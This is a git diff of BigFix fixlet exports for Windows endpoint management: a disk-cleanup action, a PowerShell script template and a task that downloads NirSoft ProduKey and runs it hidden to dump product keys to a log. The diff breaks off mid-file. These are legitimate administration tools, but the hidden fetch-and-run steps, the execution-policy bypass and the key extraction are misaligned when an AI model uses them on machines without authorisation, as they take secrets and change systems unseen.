-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Setup Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Sync Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Thumbnail Cache]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Update Cleanup]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Upgrade Discarded Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files]
-	"StateFlags1009"=dword:00000002
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Upgrade Log Files]
-	"StateFlags1009"=dword:00000002
-end-reg-edit-commands
-move __createfile C:\cleanupConf.reg
-wait regedit /s C:\cleanupConf.reg
-
-wait cleanmgr /sagerun:1009
-
-Createfile until end-reg-edit-commands
-	Windows Registry Editor Version 5.00
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Active Setup Temp Folders]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Downloaded Program Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameNewsFiles]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameStatisticsFiles]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameUpdateFiles]]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Internet Cache Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Memory Dump Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Offline Pages Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Old ChkDsk Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Previous Installations]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Service Pack Cleanup]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Setup Log Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error memory dump files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error minidump files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Setup Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Sync Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Thumbnail Cache]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Update Cleanup]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Upgrade Discarded Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files]
-	"StateFlags1009"=-
-	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Upgrade Log Files]
-	"StateFlags1009"=-
-end-reg-edit-commands
-move __createfile C:\cleanupRemoveConf.reg
-wait regedit /s C:\cleanupRemoveConf.reg
-
-delete "C:\cleanupConf.reg"
-delete "C:\cleanupRemoveConf.reg"
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Run a Full Disk Cleanup
+  ID       : 6133
+  Author   : etufarol
+  Domain   : BESC
+  Imported : 2015-07-28T03:24:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Run a Full Disk Cleanup</Title>
+    <Description><![CDATA[
+<TABLE><TBODY><TR><TD> <P></P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance><![CDATA[version of client >= "8.2"]]></Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1" as version]]></Relevance>
+    <Relevance><![CDATA[exists file (pathname of windows folder & "\system32\cleanmgr.exe")]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-05-19</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 19 May 2015 09:44:13 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 May 2015 09:44:13 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+action uses wow64 redirection {not x64 of operating system}
+if {version of operating system as version = "5.1"}
+	Createfile until end-reg-delete-compress-option
+		Windows Registry Editor Version 5.00
+		[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Compress Old Files]
+	end-reg-delete-compress-option
+	move __createfile C:\cmpr.reg
+	wait regedit /s C:\cmpr.reg
+endif
+dos rmdir /Q /S "{name of drive of windows folder & "$RECYCLE.BIN"}
+
+Createfile until end-reg-edit-commands
+	Windows Registry Editor Version 5.00
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Active Setup Temp Folders]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Downloaded Program Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameNewsFiles]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameStatisticsFiles]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameUpdateFiles]]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Internet Cache Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Memory Dump Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Offline Pages Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Old ChkDsk Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Previous Installations]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Service Pack Cleanup]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Setup Log Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error memory dump files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error minidump files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Setup Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Sync Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Thumbnail Cache]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Update Cleanup]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Upgrade Discarded Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files]
+	"StateFlags1009"=dword:00000002
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Upgrade Log Files]
+	"StateFlags1009"=dword:00000002
+end-reg-edit-commands
+move __createfile C:\cleanupConf.reg
+wait regedit /s C:\cleanupConf.reg
+
+wait cleanmgr /sagerun:1009
+
+Createfile until end-reg-edit-commands
+	Windows Registry Editor Version 5.00
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Active Setup Temp Folders]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Downloaded Program Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameNewsFiles]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameStatisticsFiles]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameUpdateFiles]]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Internet Cache Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Memory Dump Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Offline Pages Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Old ChkDsk Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Previous Installations]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Service Pack Cleanup]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Setup Log Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error memory dump files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error minidump files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Setup Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Sync Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Thumbnail Cache]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Update Cleanup]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Upgrade Discarded Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files]
+	"StateFlags1009"=-
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Upgrade Log Files]
+	"StateFlags1009"=-
+end-reg-edit-commands
+move __createfile C:\cleanupRemoveConf.reg
+wait regedit /s C:\cleanupRemoveConf.reg
+
+delete "C:\cleanupConf.reg"
+delete "C:\cleanupRemoveConf.reg"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Run_ PowerShell Script - Windows - TEMPLATE (3860).bes b/Sites/Windows Management/Fixlets/Fixlets/Run_ PowerShell Script - Windows - TEMPLATE (3860).bes
index c7be8a4c2..5151c21ae 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Run_ PowerShell Script - Windows - TEMPLATE (3860).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Run_ PowerShell Script - Windows - TEMPLATE (3860).bes	
@@ -1,58 +1,58 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Run: PowerShell Script - Windows - TEMPLATE
-  ID       : 3860
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-09-22T12:51:23
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Run: PowerShell Script - Windows - TEMPLATE</Title>
-    <Description><![CDATA[<P>Template to run a powershell script</P>
-<P>&nbsp;</P>
-<P><STRONG>References:</STRONG></P>
-<P><A href="http://bigfix.me/fixlet/details/633">http://bigfix.me/fixlet/details/633</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>exists file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry)</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgs194</SourceID>
-    <SourceReleaseDate>2014-09-22</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 22 Sep 2014 19:47:00 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-// Disable wow64 redirection on x64 OSes
-action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-
-//    CREATEFILE
-createfile until END_OF_FILE
-
-# REPLACE THE FOLLOWING WITH THE SCRIPT YOU WANT TO RUN ON THE ENDPOINT
-get-help | Out-File &quot;{(pathname of folder &quot;__BESData\__Global\Logs&quot; of parent folder of client)}\config_powershell.log&quot;
-
-END_OF_FILE
-
-delete powershell.ps1
-move __createfile powershell.ps1
-
-waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
-</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Run: PowerShell Script - Windows - TEMPLATE
+  ID       : 3860
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-09-22T12:51:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Run: PowerShell Script - Windows - TEMPLATE</Title>
+    <Description><![CDATA[<P>Template to run a powershell script</P>
+<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://bigfix.me/fixlet/details/633">http://bigfix.me/fixlet/details/633</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry)</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2014-09-22</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 22 Sep 2014 19:47:00 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+# REPLACE THE FOLLOWING WITH THE SCRIPT YOU WANT TO RUN ON THE ENDPOINT
+get-help | Out-File &quot;{(pathname of folder &quot;__BESData\__Global\Logs&quot; of parent folder of client)}\config_powershell.log&quot;
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Run_ produkey - recover Microsoft product keys - Windows (3941).bes b/Sites/Windows Management/Fixlets/Fixlets/Run_ produkey - recover Microsoft product keys - Windows (3941).bes
index b2fc850a8..2cb5266c6 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Run_ produkey - recover Microsoft product keys - Windows (3941).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Run_ produkey - recover Microsoft product keys - Windows (3941).bes	
@@ -1,49 +1,49 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Run: produkey - recover Microsoft product keys - Windows
-  ID       : 3941
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-01-09T13:45:08
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Run: produkey - recover Microsoft product keys - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists files "config_prodkey.xml" whose(now - modification time of it < 30 * day) of folders "Logs" of folders "__Global" of folders "__BESData" of parent folder of client]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2015-01-09</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 09 Jan 2015 20:43:46 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-prefetch produkey.zip sha1:55344cc446a2fb45ddd05bb3e307fc6cc80c572c size:57206 http://www.nirsoft.net/utils/produkey.zip
-
-
-//  - This unzip is a compiled verion of unzip v5.52 fom http://info-zip.org/
-//  - https://www.virustotal.com/en/file/8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a/analysis
-prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
-
-utility __Download\unzip.exe
-
-waithidden __Download\unzip.exe -o &quot;{pathname of file &quot;produkey.zip&quot; of folder &quot;__Download&quot; of client folder of current site}&quot; ProduKey.exe -d &quot;{pathname of folder &quot;__Download&quot; of client folder of current site}&quot;
-
-waithidden __Download\produkey.exe /sxml &quot;{folder &quot;Logs&quot; of folder &quot;__Global&quot; of folder &quot;__BESData&quot; of parent folder of client}\config_prodkey.xml&quot;
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Run: produkey - recover Microsoft product keys - Windows
+  ID       : 3941
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-01-09T13:45:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Run: produkey - recover Microsoft product keys - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists files "config_prodkey.xml" whose(now - modification time of it < 30 * day) of folders "Logs" of folders "__Global" of folders "__BESData" of parent folder of client]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-01-09</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 09 Jan 2015 20:43:46 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+prefetch produkey.zip sha1:55344cc446a2fb45ddd05bb3e307fc6cc80c572c size:57206 http://www.nirsoft.net/utils/produkey.zip
+
+
+//  - This unzip is a compiled verion of unzip v5.52 fom http://info-zip.org/
+//  - https://www.virustotal.com/en/file/8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a/analysis
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+utility __Download\unzip.exe
+
+waithidden __Download\unzip.exe -o &quot;{pathname of file &quot;produkey.zip&quot; of folder &quot;__Download&quot; of client folder of current site}&quot; ProduKey.exe -d &quot;{pathname of folder &quot;__Download&quot; of client folder of current site}&quot;
+
+waithidden __Download\produkey.exe /sxml &quot;{folder &quot;Logs&quot; of folder &quot;__Global&quot; of folder &quot;__BESData&quot; of parent folder of client}\config_prodkey.xml&quot;
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Secedit Example_ Windows Account Lockout_ 15_10_10 (27000).bes b/Sites/Windows Management/Fixlets/Fixlets/Secedit Example_ Windows Account Lockout_ 15_10_10 (27000).bes
index 0666c2bd1..0e8eb16bc 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Secedit Example_ Windows Account Lockout_ 15_10_10 (27000).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Secedit Example_ Windows Account Lockout_ 15_10_10 (27000).bes	
@@ -1,56 +1,56 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Secedit Example: Windows Account Lockout: 15/10/10
-  ID       : 27000
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2023-04-10T16:29:51
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
